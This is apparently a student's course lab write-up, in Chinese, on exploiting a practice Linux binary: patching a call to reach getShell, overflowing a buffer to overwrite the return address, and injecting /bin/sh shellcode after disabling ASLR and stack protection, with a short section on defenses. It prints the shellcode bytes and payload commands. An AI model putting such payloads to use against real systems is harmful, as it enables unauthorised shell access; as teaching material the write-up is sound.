2019-2020-2 20175215丁文韬《网络对抗技术》Exp1 PC平台逆向破解

1.逆向及Bof基础实践说明

1.1 实践目标

  • 对象：pwn1（linux可执行文件）

    • 该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 目标：使程序执行另一个代码片段：getshell

  • 内容：

    • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

  • 现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 注入运行任意代码

1.2 基础知识

  • 熟悉Linux基本操作
    • 能看懂常用指令,如管道（|），输入、输出重定向（>）等。
  • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。

2.直接修改程序机器指令，改变程序执行流程

  • 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

  • 学习目标：理解可执行文件与机器指令

  • 进阶：掌握ELF文件格式，掌握动态技术

2.1 反汇编查看函数地址

  • 对pwn1文件进行反汇编，会得到如下结果

  • 图中080484b5中的指令为call 8048491

    • 是说这条指令将调用位于地址8048491处的foo函数；
    • 其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
      • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值.

2.2 在vim中修改地址，反汇编查看结果

  • main函数调用foo，对应机器指令为“e8 d7ffffff”，

    • 那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
    • 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。

  • 首先发现直接使用vim打开pwn1文件是乱码

  • 接下来执行如下操作（以$后的命令为主）

kali@20175215dwt:~/Exp1$ cp pwn1 pwn2
kali@20175215dwt:~/Exp1$ vi pwn2

  • 以下操作是在vi内

    • 1.按ESC键
    • 2.输入以下，将显示模式切换为16进制模式：:%!xxd
    • 3.查找要修改的内容：/d7ff（老师使用的是/e8d7，但我使用/e8d7查找不到）
    • 4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
    • 5.修改d7为c3
    • 6.转换16进制为原格式::%!xxd -r
    • 7.存盘退出vi::wq

  • 修改成功后再使用反汇编查看call指令是否正确调用getShell

  • 之后运行改后的代码，会得到shell提示符#

3.通过构造输入参数，造成BOF攻击，改变程序执行流

  • 知识要求：堆栈结构，返回地址
  • 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
  • 进阶：掌握ELF文件格式，掌握动态技术

3.1反汇编，了解程序的基本功能

  • 这里读入字符串，但系统只预留了28字节的缓冲区

  • 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

3.2确认输入字符串哪几个字符会覆盖到返回地址

  • 用gdb 20175215pwn1调试程序，输入有规律的字符串如1111111122222222333333334444444412345678，发生段错误产生溢出

  • 使用info r查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址，接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。

3.3 确认用什么值来覆盖返回地址

  • 于是我们将getShell的地址0x0804847d把后面的数值替换，即是输入11111111222222223333333344444444\x7d\x84\x04\x08

3.4 构造输入字符串

  • 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

  • 于是我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件。然后使用vim查看input文件的内容是否如预期。

  • 通过管道符|，将input文件作为pwn1的输入。（不知道是什么原因，input里输入的东西没显示出来，但不影响正常使用）

4. 注入Shellcode并执行

4.1 准备一段Shellcode

  • shellcode就是一段机器指令（code）
    • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
    • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
  • 实践采用老师推荐的shellcode。如下：
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4.2 准备工作

  • 先利用apt-get install execstack命令安装execstack软件包

  • 然后执行如下命令（以#后的命令为准）

root@20175215dwt:/home/kali/Exp1# execstack -s pwn1  //设置堆栈可执行
root@20175215dwt:/home/kali/Exp1# execstack -q pwn1  //查询文件的堆栈是否可执行
X pwn1
root@20175215dwt:/home/kali/Exp1#  more /proc/sys/kernel/randomize_va_space
2
root@20175215dwt:/home/kali/Exp1# echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
root@20175215dwt:/home/kali/Exp1# more /proc/sys/kernel/randomize_va_space
0

4.3.1 构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法：

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr。

  • 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。

  • 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

  • 我们这个buf够放这个shellcode了

  • 结构为：nops+shellcode+retaddr。

    • nop一为是了填充，二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

  • 然后我们使用perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode命令，再打开一个终端注入这段攻击buf（(cat input_shellcode;cat) | ./pwn1）

  • 再开另外一个终端，用gdb来调试pwn1这个进程。

  • 1.找到pwn1的进程号是：4430

  • 2.启动gdb调试这个进程

  • 3.通过设置断点，来查看注入buf的内存地址（这里是坑，看我博客的同学想踩坑看老师的指导书就行了，不用看我的）

  • 4.将返回地址改为0xffffd6d0

    修改错误。

  • 5.查找原因。同上面步骤运行，gdb调试。

    看起来buf没什么问题。

    发现有问题，应该换一种方法。

4.3.2 构造要注入的payload（Restart）

  • 结构为：anything+retaddr+nops+shellcode。
  • 看到01020304了，就是返回地址的位置。shellcode就挨着，所以地址是0xffffd6f0

  • 最后输入自己找到的地址的位置，注入之后就成功了。

  • 以上实践是在非常简单的一个预设条件下完成的：

    • （1）关闭堆栈保护（gcc -fno-stack-protector）
    • （2）关闭堆栈执行保护(execstack -s)
    • （3）关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
    • （4）在x32环境下
    • （5）在Linux实践环境

4.5 结合nc模拟远程攻击

  • 在一台机器上的实验结果

  • 两台机器上的实验尚未完成，一直没找到什么原因主机1一直出现似乎是端口的问题。

*5. Bof攻击防御技术

5.1. 从防止注入的角度。

在编译时，编译器在每次函数调用前后都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生。

5.2 注入入了也不让运行

5.3 增加shellcode的构造难度

shellcode中需要猜测返回地址的位置，需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实：应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR，地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

  • /proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制（address space layout randomization)，有以下三种情况
    • 0 - 表示关闭进程地址空间随机化。
    • 1 - 表示将mmap的基址，stack和vdso页面随机化。
    • 2 - 表示在1的基础上增加栈（heap）的随机化。

5.4 从管理的角度

加强编码质量。注意边界检测。使用最新的安全的库函数。

SP.实验中碰到的问题

1.查找出现的问题

  • 老师的实验指导书中使用/e8d7查找内容，但不知道为什么，我使用16进制打开的vim中无法使用这个关键字查找到制定内容，于是我转变思路，使用/d7ff找到了我要修改的内容

2.构造要注入的payload与老师不同出现的问题

  • 一开始使用的指导书中的内容，死板的输入，出现如下的问题

  • 4.将返回地址改为0xffffd300

    修改错误。

  • 5.查找原因。同上面步骤运行，gdb调试。

    做到这里程序完全崩了。

  • 最后结合自己电脑的内存地址，灵活运用，最后完成了第四部分的实验。

SP2.回答老师的问题

1. 实验收获与感想

以前的做的一些无论是C语言，java，抑或是信息系统安全设计基础的实验，基本都是可以死板的按照老师的实验指导来做，就算了解了基本原理也只能解决一些出现的小问题，而这次我自主做实验，参考了很多学长的博客，但最后却还是靠自己总结的内容去做的实验，还有一个就是要看清老师的实验要求，因为文件名没加上学号我又得重新截一遍图了（手动捂脸）。

2. 什么是漏洞？漏洞有什么危害？

  • 本次实验的漏洞实在软件的实现上存在缺陷，可以使攻击者在未授权的情况下访问或者破坏系统。
  • 漏洞的出现能使一些本来能正常运行的软硬件出现使用的问题，影响到人们正常的工作学习。

SP3.参考资料

1.20154312曾林 - Exp1 PC平台逆向破解
2.2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
3.0x11_MAL_逆向与Bof基础.md

posted @ 2020-02-22 21:01  20175215丁文韬  阅读(580)  评论(0)  编辑  收藏  举报